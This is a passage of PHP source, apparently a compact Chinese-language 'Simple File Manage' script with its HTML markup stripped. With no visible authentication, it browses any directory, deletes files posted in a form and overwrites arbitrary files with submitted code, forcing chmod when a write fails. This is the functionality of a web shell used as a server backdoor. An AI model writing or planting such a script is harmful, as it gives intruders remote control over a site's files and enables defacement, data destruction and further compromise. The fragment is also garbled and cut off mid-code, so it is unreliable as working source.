文件名操作'; if(isset($_POST['files'])){ foreach($_POST['files'] as $v){ if(file_exists($v)){ if(unlink($v)){ $content .= ''.$v.'删除成功'; }else{ $content .= ''.$v.'删除失败'; } }else{ $content .= ''.$v.'删除成功'; } } $content .= ''; } break; case 'del': $title = '删除文件'; $content = '
文件名操作
'.$path.''; if($path){ if(file_exists($path)){ if(unlink($path)){ $content .= 'Success'; }else{ $content .= 'Fail
'; } }else{ $content .= 'Success'; } } $content .= '
'; break; case 'edit': $title = '查看/编辑 代码'; $code = isset($_POST['code']) ? $_POST['code'] : ''; if($code){ if(file_exists($path)){ $result = file_put_contents($path, $code); if($result){ $content = '编辑成功'; }else{ chmod($path, 0644); $temp = file_put_contents($path, $code); if($temp){ $content = '修改权限后,编辑成功。'; }else{ $content = '修改权限后,编辑也失败。'; } } }else{ $content = '文件不存在,编辑失败。'; } }else{ $content = '
'; } break; default: $root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; $dir = __DIR__; if($path){$dir = $path;} $title = $dir; $content = '
'; foreach(hardScandir($dir) as $value){ $fullPath = str_replace('//', '/', $dir."/".$value); if($value != '.' && $value != '..' && is_dir($fullPath)){ $content .= ''; } } foreach(hardScandir($dir) as $value){ $fullPath = str_replace('//', '/', $dir."/".$value); if($value != '.' && $value != '..' && !is_dir($fullPath)){ $content .= ''; } } $content .= '
文件名权限创建时间编辑时间访问时间大小操作
'.$fullPath.''.substr(sprintf('%o', fileperms($fullPath)), -4).''.date("Y-m-d H:i:s", filectime($fullPath)).''.date("Y-m-d H:i:s", filemtime($fullPath)).''.date("Y-m-d H:i:s", fileatime($fullPath)).'文件夹
'.$fullPath.''.substr(sprintf('%o', fileperms($fullPath)), -4).''.date("Y-m-d H:i:s", filectime($fullPath)).''.date("Y-m-d H:i:s", filemtime($fullPath)).''.date("Y-m-d H:i:s", fileatime($fullPath)).''.round(filesize($fullPath) / 1024, 2).' Kb删除
全选
'; break; } function hardScandir($dir){ if(function_exists("scandir")){ return scandir($dir); }else{ $dh = opendir($dir); while(false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function escape($uri){ return str_replace('%2F', '/', rawurlencode($uri)); }?> Simple File Manage Design by index.php